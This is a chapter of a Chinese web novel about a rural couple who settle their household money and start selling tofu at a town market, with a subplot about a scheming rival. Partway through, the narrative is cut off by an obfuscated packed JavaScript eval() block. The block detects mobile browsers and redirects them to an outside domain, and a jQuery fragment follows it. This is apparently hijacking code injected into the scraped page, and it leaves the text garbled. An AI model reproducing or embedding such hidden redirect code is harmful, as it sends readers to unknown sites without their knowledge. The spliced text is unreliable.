袁牧推门而入,赵景清面颊上的笑意还未消散。
灯火如豆,光芒昏暗,却照得他双目熠熠生辉,袁牧站在门口,还没多看几眼,景清便发现他,面上笑意收敛,唇角微抿,垂下眼眸。
袁牧反手插上门栓,走到靠墙而立的柜子处,打开柜门取出个约摸半尺宽一尺长的小木箱。见景清收好小罐子,准备上床,袁牧喊住他,“景清,别急着上床,我和你说件事儿。”
赵景清回身,“啥事儿?”
两人在桌边坐下,袁牧打开小木箱,里面是几块碎银,两串铜钱,一杆戥子称,以及他们的婚书。
赵景清目光触及,不由望向袁牧。
袁牧郑重其事,“景清,昨天卖狍子的十两银子,我交给娘了。我和爹娘商量好,后边我赚的钱,一半交给他们,一半交给你。娘管家里的吃穿,给你的咱们自己花用。”
“我手里头这些加起来,一共四两多,都交给你。”袁牧将小木箱推向赵景清,“你数数。”
赵景清桌下的手无意识紧扣,有些无措,“……我管钱?”
“嗯,咱们小家你管钱。”袁牧肯定道,“咱家都是媳妇夫郞管钱,我用钱的地方少,要花钱再找你。你想买什么自己买,不要舍不得花。我能赚钱,你也能赚钱,咱们慢慢攒,肯定能攒下家底。”
赵景清愣愣看着他,火光中眸色莹润,他点了点头,喉咙中好似堵着东西,说话艰涩,“……好。”
“昨儿就该给你了,我回屋你已经躺下,就没说。”袁牧催促道,“快数数。”
赵景清拿出戥子称,碎银拢共四两二钱,两串整的钱串子是一百文的,零散的铜板有二十八个,袁牧交给他的一共是四两四钱又三十六文。
清点完,赵景清没阖上盖子,起身走向床边,从枕头下取出袁牧给他的麻色荷包。回身坐下,赵景清倒出里面的碎银铜板,叮叮当当落入小木箱中,袁牧给他二两,昨天去镇上买东西花掉二十八文,手里还有一两九钱又七十二文。
“一共六两四钱又八文!”赵景清双眸明亮,数出五十个铜板装入麻色荷包,“给你。”
袁牧没要,“不用给我,吃穿家里有,我用不着钱。”
“给你傍身。”赵景清道,他知道手里没钱的滋味,“总会有用钱的地方,你拿着。”
袁牧接过笑着接过,“我夫郞真好。”
火光摇曳,赵景清眨眨眼,轰然面红耳热。
——
裴家。
赵景明提猪食喂猪,费力提起来倒进猪槽,累得气喘吁吁,喘了两口气,赵景明提上空的木桶摸黑走出猪圈。
冬夜寒风凌冽,猪圈到厨房的路恰在风口上,风吹得更是猛烈,他提猪食喂猪累出汗来,风一吹寒意钻入后背,侵入身体,赵景明打了个哆嗦,快步跑回厨房,舀水洗漱。
灶膛后,坐着瘦小的小树儿,他低头拢着肩,缩成一团,尽量减少存在感,但并没有用。
赵景明一边洗脚一边骂,“吃白食的玩意儿,这不能干那不能干,还要我来伺候……”
骂骂咧咧洗完脚,赵景明回屋,屋子里昏暗,裴西安已经躺上床。
赵景明站在黑暗中,说不出是什么滋味,他摸黑上床,“西安,睡了吗?”
“没有。”裴西安翻了个身,背对赵景明。
赵景明躺下,问:“今儿咋这么早,不温书了?”
裴西安道:“没灯油。”
赵景明:“明儿让老二老三去买。”
“他两?钱给到他们手里,说是丢进水里也不为过,哪还有灯油。”裴西安叹道,显然十分清楚自己两个弟弟的德行。
不能让他两去,死老太婆整日躺床上叫唤,小树儿哪会买东西,西安又要温书……赵景明嘴巴张了张,“明儿我去买。”
死老太婆手紧得很,要从她手里掏出一个铜板,比登天还难,嘴里说着西安读书最重要,也没见她出钱出力。
还好他手里有钱,在家当哥儿时,有赵景清卖豆腐挣钱,爹也能挣钱,娘不时会给他零用,他攒了一些。出嫁前买东西哄骗赵景清和还做嫁衣舍了本,他现在手里零零总总有一两七钱。
赵景明琢磨,说什么也不能耽误西安温书,他还依仗着他中举当大官,跟着享福咧,为西安读书花钱是应该的。
裴西安翻身面朝赵景明,“你手里有钱吗,我去问娘要。”
赵景明回答:“有一点,不多。你别操心了,安心读书就好,我明儿去镇上买。”
“好。景明……嫁给我,你受苦了。”裴西安顿了下,握住赵景明短短时日便粗糙许多的手,笑着承诺道,“我一定让你过上好日子。”
“嗯,我相信你。”赵景明含笑道,心里美滋滋的。苦也就苦五年,五年后就该他享福了,赵景清穿身新棉布衣裳算什么,以后他可是穿金戴银。
只是袁牧的腿……他腿没折,回来得也比前世早,赵景明弄不懂咋回事,命运天定,老天爷眷顾他,袁牧腿折是迟早的事儿,赵景明越琢磨越发这般认为。
黑夜沉沉,屋顶积雪缓缓融化,来不及滴落,又在房檐挂上长长的冰凌。
免得掉下来砸到人,袁牧手里拿着一根长竹竿,叮叮咚咚一阵敲,碎了一地冰渣子。
赵景清从厨房端着碗筷出来,朝堂屋走,“袁牧,吃饭了。”
“马上来。”袁牧把冰渣子扫一块倒院里坝子边,扫帚一放,立即进了堂屋。
早饭吃得简单,红薯稀饭就炒腌咸菜。
林翠娥煮了两个鸡蛋,一个给赵景清,一个给袁星。
农闲事少,赵景清喂鸡捡蛋铲鸡屎,忙活完赵景清倒出黄豆,开始捡豆子,把坏的干瘪的剔出来。
天气冷,要泡的豆子多,泡发的时间长,赵景清想早些泡上,十六斤豆子分开泡四盆,赵景清擦干手,又开始忙活缝布帕子,昨儿已经裁剪出来了,今天缝好就成。
忙活起来时间过得快,转眼半下午过去,袁牧担心刘老匠做不完豆腐框,早早就去蹲守。
待到日落,袁牧背篓背手上拿,带着十个豆腐框回来了,还多带了一样东西——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779764|174790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
豆腐架。
用绳子穿上挂房梁上,四角捆上布帕子,沥豆浆便不需要两个人帮忙,更省时省力。
因着凌晨要早起做豆腐,今儿晚饭用得比平日里早半个时辰,吃完饭,林翠娥就催两人回屋睡觉。
夜色苍茫,寒风猎猎,不过丑时过半,袁家东厢挨着的两间房燃起昏暗的烛火,不多时袁牧和赵景清前后脚出门。
隔壁,林翠娥和袁老二也推门而出。
赵景清微怔,林翠娥手里端着烛台,能看见她在笑,“咱俩给你打下手,帮帮忙,可不能嫌弃我们笨手笨脚。”
“不会,高兴还来不及,怎么会嫌弃。”赵景清道,寒风冷冽,却不及心中暖意融融。
合力磨出两盆豆子,赵景清和袁牧进屋做第一锅豆腐,林翠娥和袁老二在外面磨剩下的豆子,忙得热火朝天。
两锅豆腐全部出锅,倒入豆腐模中压制,赵景清直起腰,他看了眼屋外天色,仍旧黑沉沉的,赵景清估摸着,有爹娘和袁牧帮忙,比他预想的时间少小半个时辰。
起早贪黑做豆腐卖多年,还是第一次有人帮忙。
时辰尚早,袁牧去刘大爷家牵驴车还没回来,赵景清想了想,用留的半壶豆浆煮了一锅豆浆稀饭。
锅内豆浆和着米粒翻腾,豆香味浓郁醇厚。
林翠娥闻着味踏入厨房,“煮了啥恁香?”
“豆浆稀饭,快好了。”赵景清拿勺子在锅里搅拌,“等会你和爹吃完,再去睡个回笼觉。”
林翠娥笑着应道:“好。”
很快,豆浆稀饭煮好了,赵景清盛出袁牧的凉着,自个端着一碗热腾腾的慢慢吃。
没多会儿,袁牧拉驴车回来,把装有所需东西的背篓,和压好的豆腐搬上板车,回来几口喝完一碗豆浆稀饭,又盛了一碗。
天未亮,赵景清和袁牧便出发去镇上。
袁牧赶车,赵景清手持火把,火光明灭照亮前路。待走到半程,天光渐明,隐约可见路况,赵景清熄灭火把,袁牧扬鞭赶车,驴子哒哒哒往前跑。
离山阳镇愈近,路上的人越多,赵景清看见他们背篓里或是码着菜,或是堆着蛋,亦有提着鸡鸭牲畜的,和他们一样是赶早进镇里卖东西。
很快抵达山阳镇,袁牧和赵景清几乎是第一波入城,又赶至东市,在赵景清的指路下去到他从前卖豆腐的位置。
位置要抢,他们来得早,位置空置,袁牧将板车上东西卸下,去寄存驴车。
赵景清则摞豆腐框,一摞老豆腐,一摞嫩豆腐。揭开上边的压板和布帕子,又去掉边框,赵景清拿刀将豆腐划成块,这活他干了五年,手又快又稳,横五竖四,利落得将一框豆腐划成二十块。按块卖方便,顾客要按斤两切,他也给切。完事儿他又将布帕子搭回去,免得落上灰尘。
他做完这些,袁牧寄存驴车回来了,菜市人多起来,多是卖菜的摊贩。
又过约摸一刻,挎着菜篮子的妇人和夫郎涌入菜市。
赵景清看着,手不由紧扣,好些日子没来卖豆腐,不知今儿生意咋样。